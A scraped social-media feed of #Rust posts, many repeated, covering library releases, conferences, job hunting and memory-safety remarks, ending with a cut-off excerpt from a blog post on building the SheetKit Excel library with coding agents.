TL;DR: coherence (which is responsible for the orphan rule about trait impls) causes problems with ecosystem lock-in. If we introduce the idea of named trait impls we might be able to do away with it!
boxyuwu.blog
Coherence and the orphan rules are a frequent source of complaints about Rust, and a common topic of language proposals. This post covers most of the existing proposals around coherence and my vision for how we should solve coherence once and for all.
I'd love to change my profession to #Rust developer, so if you know someone who needs such a developer, please ping me. I have to admit, with development of https://maolan.github.io I realized that Rust is something I'm actually good at.
maolan.github.io
A modern Rust-based DAW for recording, MIDI editing, automation, and music production. Open source, transparent, and community-driven.
#Firefox 149: the open reference web browser now with #Rust-based #JPEGXL https://medium.com/p/firefox-149-the-open-reference-web-browser-now-with-rust-based-jpeg-xl-7f84965a59d7
Since my new XMPP upload server implementation "Rusty Filer" has been working great on trashserver.net since two weeks, I present to you:
The first release of Rusty Filer! https://codeberg.org/thomas.leister/rusty-filer/releases/tag/v1.0.0 🥳
It has the same features as Prosody Filer, but it also available as a deb package and via a apt repository (for simple deployment automatic updates!).
If you run into any issues using this server, let me know in the Codeberg issues.
#xmpp #ejabberd #prosody #rust #rustyFiler #jabber #codeberg #opensource #software
codeberg.org
Since my new XMPP upload server implementation "Rusty Filer" has been working great on trashserver.net since two weeks, I present to you:
The first release of Rusty Filer! https://codeberg.org/thomas.leister/rusty-filer/releases/tag/v1.0.0 🥳
It has the same features as Prosody Filer, but it also available as a deb package and via a apt repository (for simple deployment automatic updates!).
If you run into any issues using this server, let me know in the Codeberg issues.
#xmpp #ejabberd #prosody #rust #rustyFiler #jabber #codeberg #opensource #software
codeberg.org
Embedded graph database built in #rust, with #python bindings, allows storing and querying data in RDF: https://grafeo.dev/
One more piece down in order to build my dream #activitypub browser.
grafeo.dev
A high-performance, embeddable graph database with a Rust core and no required C dependencies. Python, Node.js, Go, C, C#, Dart and WebAssembly bindings. GQL (ISO standard) query language.
The Good, the Bad, and the Leaky: jemalloc, bumpalo, and mimalloc in meilisearch https://lobste.rs/s/fg34ds #rust
https://blog.kerollmops.com/the-good-the-bad-and-the-leaky-jemalloc-bumpalo-and-mimalloc-in-meilisearch
blog.kerollmops.com
How I dove into a spooky memory leak, found it, but discovered that the actual leak was more on mimalloc's side than on meilisearch's. I used jemalloc's powerful tooling and a bit of help from an LLM to dive into this hard-to-tackle issue.
The Good, the Bad, and the Leaky: jemalloc, bumpalo, and mimalloc in meilisearch https://lobste.rs/s/fg34ds #rust
https://blog.kerollmops.com/the-good-the-bad-and-the-leaky-jemalloc-bumpalo-and-mimalloc-in-meilisearch
blog.kerollmops.com
How I dove into a spooky memory leak, found it, but discovered that the actual leak was more on mimalloc's side than on meilisearch's. I used jemalloc's powerful tooling and a bit of help from an LLM to dive into this hard-to-tackle issue.
On the subject of developer experience for native apps... TIL GTK ships with a built-in inspector where you can explore and even modify UI state while debugging 😮
https://developer.gnome.org/documentation/tools/inspector.html
short video recording showing the inspector in action
On the subject of developer experience for native apps... TIL GTK ships with a built-in inspector where you can explore and even modify UI state while debugging 😮
https://developer.gnome.org/documentation/tools/inspector.html
short video recording showing the inspector in action
Thanks to Sirius-beta Labs who are once again sponsoring lunch for #BFPG Hack Day. UQ St Lucia, Saturday 28 March. Be there or be a lambda cube!
#FP #Haskell #OCaml #Idris #Gleam #Lean #Scala #Erlang #Elixir #FSharp #Clojure #Lisp #Agda #Rocq #Rust #Scheme #Racket
luma.com
Come to BFPG Hack Day for some wholesome fun hacking on side projects, tackling tutorials, grinding axes and shaving yaks! Work together or independently.…
Hi #bevy ! It's time for your weekly #bevymergetrain :D Nom-nom-nom: gobble up 8 PRs worth of #rust #gamedev goodness, as we go over the work that the community thinks is ready to merge: https://gist.github.com/alice-i-cecile/72b9ac24f1b782520da7480016375acd
Largely fixes today, but some nice chatter about dueling solutions, work that I helped with and why panics are bad actually.
gist.github.com
Bevy merge train 2026-03-16. GitHub Gist: instantly share code, notes, and snippets.
Hi #bevy ! It's time for your weekly #bevymergetrain :D Nom-nom-nom: gobble up 8 PRs worth of #rust #gamedev goodness, as we go over the work that the community thinks is ready to merge: https://gist.github.com/alice-i-cecile/72b9ac24f1b782520da7480016375acd
Largely fixes today, but some nice chatter about dueling solutions, work that I helped with and why panics are bad actually.
gist.github.com
Bevy merge train 2026-03-16. GitHub Gist: instantly share code, notes, and snippets.
For my #Rust projects, I’ve finally migrated from #RustRover to @zed.
RR is a great IDE, but it feels much too bloated for me. #Zed, on the other hand, is a pleasure to use. So smooth!
Here’s my current config including a beautiful theme based on monokai-pro https://github.com/0xdea/dotfiles/tree/main/zed/.config/zed
My theme for the Zed editor
Es gibt in Österreich mehrere Orte namens Rust. Wäre irgendwie lustig dort mal ein Meetup zum thema https://rust-lang.org/ zu machen. #rust #rustlang #at
rust-lang.org
A language empowering everyone to build reliable and efficient software.
#rust rewrite of #gdal
I am skeptical, but let's see ...
https://github.com/cool-japan/oxigdal
github.com
OxiGDAL is a pure Rust geospatial data abstraction library designed for modern cloud-native workflows. - cool-japan/oxigdal
We know that there are multiple similar services out there (FediDB, Fediverse Observer, ...).
The real reason we came up with that project is more the interest in the developing aspects.
We always wanted to create some kind of crawler and check out the Rust language. That's why we are writing the crawler in Rust.
Another thing we always wanted to learn is Spring Boot. So we are using it for our API.
We know that there are multiple similar services out there (FediDB, Fediverse Observer, ...).
The real reason we came up with that project is more the interest in the developing aspects.
We always wanted to create some kind of crawler and check out the Rust language. That's why we are writing the crawler in Rust.
Another thing we always wanted to learn is Spring Boot. So we are using it for our API.
cargo-semver-checks v0.47 is live now ✨
Inside, you'll find:
- a workaround for a Rust 1.94 rustdoc bug that caused crashes in some projects
- 7 new lints
Happy SemVer Sunday!
https://github.com/obi1kenobi/cargo-semver-checks/releases/tag/v0.47.0
In this release 7 new lints Spotlight: Google Summer of Code This release also includes a workaround for a Rust 1.94 rustdoc bug that caused cargo-semver-checks to crash in certain projects. We c...
I also fixed the rustdoc bug upstream!
https://github.com/rust-lang/rust/pull/153465/
github.com
Attributes like #[doc(test(attr(deny(rust_2018_idioms))))] are accidentally emitted without the final ]. Also, the #[doc(test(no_crate_inject))] attribute is mistakenly emitted as #[doc(no_crate_in...
cargo-semver-checks v0.47 is live now ✨
Inside, you'll find:
- a workaround for a Rust 1.94 rustdoc bug that caused crashes in some projects
- 7 new lints
Happy SemVer Sunday!
https://github.com/obi1kenobi/cargo-semver-checks/releases/tag/v0.47.0
In this release 7 new lints Spotlight: Google Summer of Code This release also includes a workaround for a Rust 1.94 rustdoc bug that caused cargo-semver-checks to crash in certain projects. We c...
Zlib-rs is now feature-complete! We've released v0.6, the first version with a stable and complete API. The blog post has the details.
Zlib-rs offers an alternative to C/C++ counterparts. It provides on-par (or better!) performance while reducing attack surface through memory safety.
With thanks to our maintainer @folkertdev, our contributors and @sovtechfund.
trifectatech.org
Zlib-rs is now feature-complete! We've released v0.6, the first version with a stable and complete API. The blog post has the details.
Zlib-rs offers an alternative to C/C++ counterparts. It provides on-par (or better!) performance while reducing attack surface through memory safety.
With thanks to our maintainer @folkertdev, our contributors and @sovtechfund.
trifectatech.org
This is a great first issue filed against a head-scratcher of a project. (It is a #Rust compiler written in #PHP.)
https://github.com/mrconter1/rustc-php/issues/1
github.com
It's impressive, not gonna lie. But someone has to ask, why does it exist?
This is a great first issue filed against a head-scratcher of a project. (It is a #Rust compiler written in #PHP.)
https://github.com/mrconter1/rustc-php/issues/1
github.com
It's impressive, not gonna lie. But someone has to ask, why does it exist?
Deep technical dive on optimization. The game is MUCH more performant now. If you are into #bevy , #rust , #GameDev , or #indiedev I recommend this one. Sadly no facy images on this one. Just a ton of technical depth. https://exofactory.net/blog/2026-03-05/
exofactory.net
Spent the month cutting down memory usage and learning tracy. Turns out storing everything in system memory and using PNGs was a bad combo. Also shipped a Bevy bug fix, built a crate search tool, and started the publisher search.
Deep technical dive on optimization. The game is MUCH more performant now. If you are into #bevy , #rust , #GameDev , or #indiedev I recommend this one. Sadly no facy images on this one. Just a ton of technical depth. https://exofactory.net/blog/2026-03-05/
exofactory.net
Spent the month cutting down memory usage and learning tracy. Turns out storing everything in system memory and using PNGs was a bad combo. Also shipped a Bevy bug fix, built a crate search tool, and started the publisher search.
https://github.com/jonwiggins/xmloxide
https://github.com/kushaldas/uppsala
In the past two weeks, two complete implementations of #XML parsers and XML Schema in #Rust have appeared on the scene.
github.com
Contribute to kushaldas/uppsala development by creating an account on GitHub.
I will post more details about my plans soon.
meanwhile I’m working on getting Auroras out the door, improve Bobby, and in spring tackle the big fish: port #SparkleShare to #Rust and the modern #GNOME stack.
❤️
@CKL Should be #Rust on #punchcard so some old stil connected mainframe could digest it 😉
Now I want to read a sci-fi novel set in the near future about two programmers who need to learn non-vibe-coding to write something under the radar of the AIs (plural!) watching their every move online.
To save the world.
In rust.
And they're fighting over vi vs emacs.
And it will have to be on an OpenBSD machine, since every performance setting is disabled because of rowhammer et alter.
Something like the Morse stuff in Cryptonomicon?
#AI #nealstephenson #cryptonomicon #vibecoding #vi #openbsd #bsd
#writingprompt #rust #rustlang
74% of you never open tickets against #RustLang, and another 24% of you do it less than once a month.
It validates my rule of thumb that for every ticket there are 20 people that will voice their problem on social media without filing a ticket and 100 that are affected but didn't feel the need to tell anyone.
https://blog.rust-lang.org/2026/03/02/2025-State-Of-Rust-Survey-results/
blog.rust-lang.org
Empowering everyone to build reliable and efficient software.
We just migrated Roto to @Codeberg!
You can find the new repo here: https://codeberg.org/NLnetLabs/roto
And read the announcement here: https://community.nlnetlabs.nl/t/roto-has-moved-to-codeberg/79/1.
We'll migrate more projects soon!
cc @nlnetlabs
community.nlnetlabs.nl
We just moved Roto development to Codeberg! You can now find the repository at https://codeberg.org/NLnetLabs/roto. The entire repository has been migrated, including issues, pull requests and releases, so we can just pick up where we left off on GitHub. If you have opened issues or pull requests on GitHub, you should be able to find them again on Codeberg. If you have trouble accessing them, feel free to open new issues or pull requests and ask for the old one to be deleted. The GitHub reposi...
The definitions are broad, so to quite an extent they would. There are users, who have accounts, on general purpose computers, and run applications.
The only hope for #mainframes seems to be that they likely don't have things that fit the definition of a 'covered application store'.
But they might; especially if the mainframe is nowadays running a Linux-based operating system.
http://linuxvm.org/info/distros.html
#Debian and #Ubuntu have package repositories for s390x, for example. Such a repository is a 'publicly available internet website […] that distributes and facilitates the download of applications'.
Here's one way how the naughty 16-year-olds in #California would download rustc onto such a mainframe with no #AgeVerification, for example:
packages.debian.org
I foresee:
1. #Debian eventually following #MidnightBSD's lead and cutting #California off from #FreeSoftware; after lengthy mailing list discussions where at least one person tries to deny with convoluted nonsense the plain reading of the statute.
1. A storm when someone points out that the #MobaXTerm version of APT isn't exempt, nor is RPM. (Goodness knows what IBM is going to do.)
1. An even bigger storm when someone adds an 'age' field to systemd's JSON User Records, to be enforced and served out over Desktop Bus via a systemd-aged service or some such. Much fun if that someone comes from a #GDPR country.
1. Some nutter taking a Linux distribution to court because it doesn't enable developers to control whether 16-year-olds can install rustc and busybox.
#CaliforniaLaw #Unix #rust #USLaw #AgeVerification #FreeBSD #OpenBSD #NetBSD
https://github.com/jonwiggins/xmloxide
https://github.com/kushaldas/uppsala
In the past two weeks, two complete implementations of #XML parsers and XML Schema in #Rust have appeared on the scene.
github.com
Contribute to kushaldas/uppsala development by creating an account on GitHub.
There is a fun footgun related to compile-time code generation using procedural macros in Rust: if the macro has non-deterministic behavior, then the build process of any crate using it is not reproducible.
Here's a little write-up explaining how I uncovered such an issue in the hashify crate while trying to package Rust software for Guix: https://notes.8pit.net/notes/iqfs.html
notes.8pit.net
There is a fun footgun related to compile-time code generation using procedural macros in Rust: if the macro has non-deterministic behavior, then the build process of any crate using it is not reproducible.
Here's a little write-up explaining how I uncovered such an issue in the hashify crate while trying to package Rust software for Guix: https://notes.8pit.net/notes/iqfs.html
notes.8pit.net
a low, artistic angle shot above a slightly rusted I beam laying toward the camera long-wise. Blurred in the background can be seen construction equipment, traffic cones, and a construction worker in personal protective equipment
Rust India Conference 2026 is happening on 18th April.
https://hasgeek.com/rustbangalore/cfp-rust-india-conference-2026/
https://rustindia.org/
#rust
CFP deadline for Rust India Conference 2026.
Rust India Conference 2026 is happening on 18th April.
https://hasgeek.com/rustbangalore/cfp-rust-india-conference-2026/
https://rustindia.org/
#rust
CFP deadline for Rust India Conference 2026.
Signal Protocol for a P2P Webapp
TL;DR: I have open-sourced a #Rust implementation of the #SignalProtocol that compiles to #WASM for #Browser-based #P2P messaging, overcoming the #NodeJS limitations of the official library.
I am sharing my implementation of the Signal Protocol designed specifically for the #Frontend. While the official libsignal is the gold standard, its #JavaScript targets are often optimized for Node.js, which creates integration challenges for client-side web applications.
My version is built in #RustLang and compiles to #WebAssembly, utilizing #ModuleFederation to provide robust #Encryption for decentralized environments. It currently powers the end-to-end security for my #P2P messaging project.
Protocol Demo:
https://signal.positive-intentions.com/
P2P App Demo:
https://p2p.positive-intentions.com/iframe.html?globals=&id=demo-p2p-messaging--p-2-p-messaging&viewMode=story
I am looking for feedback from the #Dev and #Infosec community. If you have experience with #Cryptography audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.
GitHub Repository:
https://github.com/positive-intentions/signal-protocol
#Signal #SignalProtocol #Rust #RustLang #WASM #WebAssembly #OpenSource #OSS #Privacy #Encryption #E2EE #WebDev #Frontend #BrowserTech #Decentralized #WebApps #Coding #Security #SoftwareEngineering #Networking #PeerToPeer #P2P #Cryptography #Audit #CyberSecurity #Tech #JavaScript #Programming #ModuleFederation #P2PWeb #PrivacyTech #SecureMessaging #WebPerf #TechCommunity #InfoSec #WebSecurity
signal protocol
Perhaps useful, so just bringing it up. The #Makepad team are in their presentations always particularly proud in how they make #Rust builds in mere seconds across the full range of compile targets. They make builds after live coding *during* the presentation. Perhaps some of their methods to achieve this are applicable for you. Other than that, watching a recent Makepad presentation is inspiring, as their project is an impressive feat.
Btw, #Robrius uses Makepad and perhaps has similar approach to compiles, idk really. It is another cool initiative, who build #Robrix a matrix client with their app framework.
Signal Protocol for a P2P Webapp
TL;DR: I have open-sourced a #Rust implementation of the #SignalProtocol that compiles to #WASM for #Browser-based #P2P messaging, overcoming the #NodeJS limitations of the official library.
I am sharing my implementation of the Signal Protocol designed specifically for the #Frontend. While the official libsignal is the gold standard, its #JavaScript targets are often optimized for Node.js, which creates integration challenges for client-side web applications.
My version is built in #RustLang and compiles to #WebAssembly, utilizing #ModuleFederation to provide robust #Encryption for decentralized environments. It currently powers the end-to-end security for my #P2P messaging project.
Protocol Demo:
https://signal.positive-intentions.com/
P2P App Demo:
https://p2p.positive-intentions.com/iframe.html?globals=&id=demo-p2p-messaging--p-2-p-messaging&viewMode=story
I am looking for feedback from the #Dev and #Infosec community. If you have experience with #Cryptography audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.
GitHub Repository:
https://github.com/positive-intentions/signal-protocol
#Signal #SignalProtocol #Rust #RustLang #WASM #WebAssembly #OpenSource #OSS #Privacy #Encryption #E2EE #WebDev #Frontend #BrowserTech #Decentralized #WebApps #Coding #Security #SoftwareEngineering #Networking #PeerToPeer #P2P #Cryptography #Audit #CyberSecurity #Tech #JavaScript #Programming #ModuleFederation #P2PWeb #PrivacyTech #SecureMessaging #WebPerf #TechCommunity #InfoSec #WebSecurity
signal protocol
Signal Protocol for a P2P Webapp
TL;DR: I have open-sourced a #Rust implementation of the #SignalProtocol that compiles to #WASM for #Browser-based #P2P messaging, overcoming the #NodeJS limitations of the official library.
I am sharing my implementation of the Signal Protocol designed specifically for the #Frontend. While the official libsignal is the gold standard, its #JavaScript targets are often optimized for Node.js, which creates integration challenges for client-side web applications.
My version is built in #RustLang and compiles to #WebAssembly, utilizing #ModuleFederation to provide robust #Encryption for decentralized environments. It currently powers the end-to-end security for my #P2P messaging project.
Protocol Demo:
https://signal.positive-intentions.com/
P2P App Demo:
https://p2p.positive-intentions.com/iframe.html?globals=&id=demo-p2p-messaging--p-2-p-messaging&viewMode=story
I am looking for feedback from the #Dev and #Infosec community. If you have experience with #Cryptography audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.
GitHub Repository:
https://github.com/positive-intentions/signal-protocol
#Signal #SignalProtocol #Rust #RustLang #WASM #WebAssembly #OpenSource #OSS #Privacy #Encryption #E2EE #WebDev #Frontend #BrowserTech #Decentralized #WebApps #Coding #Security #SoftwareEngineering #Networking #PeerToPeer #P2P #Cryptography #Audit #CyberSecurity #Tech #JavaScript #Programming #ModuleFederation #P2PWeb #PrivacyTech #SecureMessaging #WebPerf #TechCommunity #InfoSec #WebSecurity
signal protocol
Iced-hs, a #Haskell wrapper for the #Rust GUI library iced-rs, has been updated to iced 0.14.
Read more details at https://discourse.haskell.org/t/updated-iced-hs-to-iced-0-14/13715
discourse.haskell.org
Initially announced here, iced-hs is a Haskell wrapper for iced Rust library. It provides an Elm-like way to build desktop apps. Currently, there’s a segfault with new Rust versions. Yet, I felt there’s still a value in updating the wrapper to latest iced version. You can use it with Rust 1.89.
Is your company currently hiring for a role that includes using Rust?
Reply with a link to the opening and any relevant context.
If you're not, we'd appreciate a repost for visibility
[$] Open-source Discord alternatives
The closed-source chat platform Discord announced on February 9 that it would soon require some users to verify their ages in order to access some content — although the company q [...]
Is your company currently hiring for a role that includes using Rust?
Reply with a link to the opening and any relevant context.
If you're not, we'd appreciate a repost for visibility
I fiddled something again. The challenge was to enable static web file “hosting” out of Forgejo Repos. This doesn’t come out of the box from Forgejo and there are various ways to solve this.
I went for a hopefully lightweight setup using a Caddy Webserver to serve the static files and a little Rust program to act as a Webhooks for Forgejo to call on push to the repo. The repo can be found at https://repos.mxhdr.net/maxheadroom/forgejo-static-pages
repos.mxhdr.net
forgejo-static-pages
Laid off :/
I know:
- Unity C#
- Rust
- Python
I can learn:
- Anything
I am in Massachusetts. Remote work would be great too
I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.
Anyone got anything?
#rust #softwaredevelopment #unity3d #python #FediHire #getfedihired
Laid off :/
I know:
- Unity C#
- Rust
- Python
I can learn:
- Anything
I am in Massachusetts. Remote work would be great too
I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.
Anyone got anything?
#rust #softwaredevelopment #unity3d #python #FediHire #getfedihired
Laid off :/
I know:
- Unity C#
- Rust
- Python
I can learn:
- Anything
I am in Massachusetts. Remote work would be great too
I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.
Anyone got anything?
#rust #softwaredevelopment #unity3d #python #FediHire #getfedihired
Laid off :/
I know:
- Unity C#
- Rust
- Python
I can learn:
- Anything
I am in Massachusetts. Remote work would be great too
I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.
Anyone got anything?
#rust #softwaredevelopment #unity3d #python #FediHire #getfedihired
Laid off :/
I know:
- Unity C#
- Rust
- Python
I can learn:
- Anything
I am in Massachusetts. Remote work would be great too
I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.
Anyone got anything?
#rust #softwaredevelopment #unity3d #python #FediHire #getfedihired
@jakub_neruda Might be, whatever. Memory safety bugs are these, where code creates a risk of access to memory that hadn't been originally specified. #C and C++ have a problem, as many language constructs don't have protection mechanisms against out-of-bounds, double free, etc.
There's other category of bugs to which #Java is prone to (not #Kotlin) like C and C++ which #Rust don't allow - implicit nullability. The nature of JVM doesn't turn them to security risk, but they cause a lot of crashes.
The RustWeek 2026 schedule, including the talk details for RustWeek 2026, is now published!
https://2026.rustweek.org/schedule/tuesday/
https://2026.rustweek.org/schedule/wednesday/
Don't forget to buy your ticket!
rustweek.org
RustWeek 2026, The Netherlands - May 18 - 23 2026. The world's biggest Rust conference returns to beautiful Utrecht, welcoming over 900+ community members, professionals and the maintainers of Rust.
The RustWeek 2026 schedule, including the talk details for RustWeek 2026, is now published!
https://2026.rustweek.org/schedule/tuesday/
https://2026.rustweek.org/schedule/wednesday/
Don't forget to buy your ticket!
rustweek.org
RustWeek 2026, The Netherlands - May 18 - 23 2026. The world's biggest Rust conference returns to beautiful Utrecht, welcoming over 900+ community members, professionals and the maintainers of Rust.
People often claim that memory-safe languages eliminate the class of memory bugs, but that is not true and can give less experienced devs a false sense of security.
You can violate borrow checker at runtime in Rust with zero unsafe blocks. You can have null-pointer dereference in C#. You can index out of bounds in Java.
The difference is that while C++ will crash at unspecified time with SIGSEGV (or not crash at all), memory-safe languages will either crash at a well-defined time in a well-defined way, or they will emit an exception you shall handle.
In the customers eyes, that might not even be a difference.
** RustWeek Speakers Announced! **
Check out the selected speakers and talks here:
https://2026.rustweek.org/blog/2026-02-13-speakers-announced/
Thanks to everyone who submitted to our CFP!
rustweek.org
RustWeek 2026, The Netherlands - May 18 - 23 2026. The world's biggest Rust conference returns to beautiful Utrecht, welcoming over 900+ community members, professionals and the maintainers of Rust.
** RustWeek Speakers Announced! **
Check out the selected speakers and talks here:
https://2026.rustweek.org/blog/2026-02-13-speakers-announced/
Thanks to everyone who submitted to our CFP!
rustweek.org
RustWeek 2026, The Netherlands - May 18 - 23 2026. The world's biggest Rust conference returns to beautiful Utrecht, welcoming over 900+ community members, professionals and the maintainers of Rust.
Ejabberd with Ejabberd client, Fluux and future support XEP-0503 Server-side spaces
#Discord #XMPP #Tauri #Rust
xmpp.org
a low, artistic angle shot above a slightly rusted I beam laying toward the camera long-wise. Blurred in the background can be seen construction equipment, traffic cones, and a construction worker in personal protective equipment
Building a New Excel Library in One Week https://lobste.rs/s/vuin9c #nodejs #rust
https://hackers.pub/@nebuleto/2026/en-us-sheetkit-in-one-week
hackers.pub
These days I work primarily in TypeScript on Node.js. I needed to handle bulk uploads of large Excel data and dynamically generate template Excel files to collect that data. Those templates had to include data validation, conditional formatting, dropdowns, and so on. The existing Node.js Excel libraries each had problems. One split its functionality between a community edition and a paid edition, which meant features I needed were locked away. The other had a gap between its internal implementation and its TypeScript typings, and it was too slow for what I was trying to do. Pull requests had piled up in the repository, but the project was no longer being maintained. I had known about Excelize, the Go library, for a while. Charts, conditional formatting, formulas, data validation: it covers a lot of the OOXML spec and does it well. I kept thinking I wanted something at that level in TypeScript. Coding agents have gotten noticeably better in the past year or so, and I wanted to try a specific way of working: I make all the design and architecture decisions, and agents handle the implementation. On Wednesday of last week (February 4th) I started analyzing Excelize and other Excel libraries. By Saturday night (February 7th) I was writing code. That's SheetKit. Repository Documentation (Getting Started) Benchmark results (environment, methodology, fixtures included):Node.js library comparison Rust comparison Fixture definitions This is the first of two posts. This one covers what SheetKit is and how the week went, from first release to the v0.5.0 I shipped this evening (February 14th). The second post will be about working with coding agents: what I delegated, how, and where it broke down. Release Timeline Dates are crates.io / npm publish timestamps. Approximate, not to-the-minute. VersionWhenDateWhatv0.1.0Sunday (last week)2026-02-08First publish (initial form)v0.1.2Monday early morning (last week)2026-02-09First snapshot worth calling a public releasev0.2.0Monday morning (last week)2026-02-09Buffer I/O, formula helpersv0.3.0Tuesday early morning (last week)2026-02-10Raw buffer FFI, batch APIs, benchmark suitev0.4.0Tuesday afternoon (last week)2026-02-10Feature expansion + documentation sitev0.5.0Saturday evening (today)2026-02-14Lazy loading / streaming, COW save, benchmark rule improvements What Is SheetKit? SheetKit is a Rust spreadsheet library for OOXML formats (.xlsx, .xlsm, etc.) with Node.js bindings via napi-rs. Bun and Deno work too, since they support Node-API. .xlsx files are ZIP archives containing XML parts. SheetKit opens the ZIP, deserializes each XML part into Rust structs, lets you manipulate them, and serializes everything back on save. Three crates on the Rust side: sheetkit-xml: Low-level XML data structures mapping to OOXML schemas sheetkit-core: All business logic sheetkit: Facade crate for library consumers Node.js bindings live in packages/sheetkit and expose the Rust API via #[napi] macros. To get started: sheetkit.dev/getting-started. Saturday Night to First Release (v0.1.x) I started coding Saturday night (February 7th) and pushed v0.1.0 the next day. By early Monday morning I had v0.1.2, which was the first version I'd actually call releasable. I had spent Wednesday analyzing the OOXML spec and how existing libraries implemented features, so by Saturday I had a detailed plan ready. I handed implementation to coding agents (Claude Code and Codex). The setup was: a main orchestrator agent receives the plan, then spawns sub-agents in parallel for each feature area. It burns through tokens fast, but it gets a large plan done quickly. After the agents finish, a separate agent does code review before I look at it. More on this workflow in the next post. v0.1.2 was an MVP. It had 44,000+ lines, 1,533 tests, 110 formula functions, charts, images, conditional formatting, data validation, StreamWriter, and builds for 8 platform targets. But it could only read/write via file paths (no Buffer I/O), and I hadn't measured performance at all. It worked, but that was about it. Monday: Starting to Think About Performance (v0.2.0 – v0.3.0) Buffer I/O (v0.2.0) v0.2.0 went up Monday morning, a few hours after v0.1.2. I added Buffer I/O: read and write .xlsx directly from in-memory buffers, no filesystem needed. In a server you're usually processing binary from an HTTP request or streaming a generated file back in the response, so this had to come early. fill_formula and other formula helpers went in at the same time. With Buffer I/O in place I could run tests closer to real production workloads. That's where the problems showed up. Switching to Raw Buffers (v0.3.0) The initial implementation created a JS object per cell and passed it across the Rust/JS FFI boundary. Pull a 50k×20 sheet as a row array and that's a million-plus JS objects. GC pressure and memory usage went through the roof. I got the idea from oxc, which transfers Rust AST data to JS as raw buffers instead of object trees. Same principle here: Don't create per-cell objects. Serialize the entire sheet into a compact binary buffer. Cross the FFI boundary once. The encoder picks dense or sparse layout automatically based on cell occupancy (threshold: 30%). Since the JS side receives a raw buffer, I also wrote a TypeScript parser for the format. v0.3.0 shipped the first version of this buffer protocol. v0.5.0 later replaced it with a v2 format that supports inline strings and incremental row-by-row decoding. I also made changes in the Rust XML layer. The goal was fewer heap allocations and simpler hot paths. ChangeWhyCell references ("A1") stored as [u8; 10] inline arrays, not heap StringsMax cell ref is "XFD1048576" (10 bytes). No need for the heap.Cell type attribute normalized to a 1-byte enumStops carrying raw XML attribute strings aroundBinary search for cells within a row, replacing linear scanMetricBeforeAfterMemory (RSS) at 100k rows361 MB13.5 MBNode.js read overhead vs. native Rust—~4%GC pressure1M+ object creationsSingle buffer transfer Benchmarks This is when I built the benchmark suite, comparing SheetKit against existing Node.js and Rust libraries. The runner outputs Markdown with environment info, iteration counts, and raw numbers. Setup: Apple M4 Pro, 24 GB / Node v25.3.0 / Rust 1.93.0. Median of 5 runs after 1 warmup. RSS/heapUsed are residual deltas (before vs. after), not peaks. Fixtures are generated deterministically; row counts include the header. 50k rows × 20 columns: SheetKit read 541 ms, write 469 ms. The JS-only libraries: 1.24–1.56s read, 1.09–2.62s write. heapUsed delta: 0 MB, which confirmed that the JS side was no longer accumulating objects. One odd thing: edit-xlsx, a Rust library, was showing suspiciously fast read times. I didn't understand why at this point. The explanation came during the v0.5.0 work (covered below). Tuesday: Closing Feature Gaps (v0.4.0) v0.4.0 shipped Tuesday afternoon. This one was about features, not performance. I went through what other Excel libraries supported and listed what SheetKit was still missing. Shapes, slicers, form controls, threaded comments, VBA extraction, a CLI. I also added 54 more formula functions (total: 164), mostly financial and engineering. Same orchestrator/sub-agent setup as before: write a detailed plan for each feature, have the agents implement in parallel, agent review first, then my review. Memory optimization continued on the side. Reworking the Cell struct and SST memory layout cut RSS from 349 MB to 195 MB for sync reads (44% drop). Async reads: 17 MB. I also set up a VitePress documentation site around this time. Today: Rethinking the Architecture (v0.5.0) v0.5.0 went out this evening. Unlike the previous releases, which added features on top of the same API shape, this one changed the Node.js API structure and parts of the Rust core. Lazy Loading by Default Before v0.5.0, open() parsed every XML part upfront. Open a 50k-row file and all sheets load into memory, even the ones you never touch. Now there are three read modes: lazy (default): reads ZIP index and metadata only. Sheets parse on first access. eager: the old behavior. Parse everything immediately. stream: forward-only, bounded memory. Lazy open costs less than 30% of eager, and pre-access memory is under 20% of eager. Auxiliary parts (comments, charts, images, pivot tables) also defer parsing until you actually call a method that needs them. Streaming Reader Forward-only reader for large files. One batch in memory at a time. const wb = await Workbook.open("huge.xlsx", { readMode: "stream" });const reader = await wb.openSheetReader("Sheet1", { batchSize: 1000 });for await (const batch of reader) { for (const row of batch) { // process }} Copy-on-Write Save When you save a lazily-opened workbook, unchanged sheets pass through directly from the original ZIP entry. No parse-serialize round trip. At work I generate files by opening a template, filling in a few cells, and sending it back. That's exactly the workload this helps. The edit-xlsx Read Anomaly Back when I built the benchmarks, edit-xlsx was recording very fast read times on some files. Rows/cells count was dropping to zero. I added comparability rules to the benchmark: Check that rows/cells count matches expectations Value-probe a few cells at known coordinates If either fails, mark the result non-comparable Then I dug into why. In SpreadsheetML, fileVersion, workbookPr, and bookViews in workbook.xml are optional. edit-xlsx 0.4.x treats them as required. When deserialization fails on a file missing these elements, it falls back to a default struct: rows=0, cells=0, near-zero runtime. It was fast because it wasn't reading anything. SheetKit now writes default values for fileVersion and workbookPr (matching Excel's own defaults) when they're absent, for compatibility. Node.js Bindings Faster Than Native Rust? In some write scenarios, the Node.js bindings beat native Rust. ScenarioRustNode.jsOverheadWrite 50k rows × 20 cols544 ms469 ms−14% (Node.js faster)Write 20k text-heavy rows108 ms86 ms−20% (Node.js faster) This happens because V8 is very good at string interning and memory management when building SST data through the batch API (setSheetData). The napi crossing costs less than what V8 saves. I did not expect to see negative overhead, but here we are. Dogfooding SheetKit I replaced our previous library with SheetKit at work. Template generation and bulk upload processing have been running fine. Where it stands today (February 14th): Streaming read/write in both Node.js and Rust 164 formula functions 43 chart types Multiple image formats Read overhead (Node.js vs. Rust): ~4%. Some write scenarios are faster from Node.js. Details at sheetkit.dev. The library is still experimental and APIs may change. I'll keep using it in production, measuring, and fixing things as they come up. Issues and PRs are always welcome. Next Post This covered the what and when. The next post is about the how: orchestrator/sub-agent structure, how I used Claude Code and Codex, the agentic code review loop, where I had 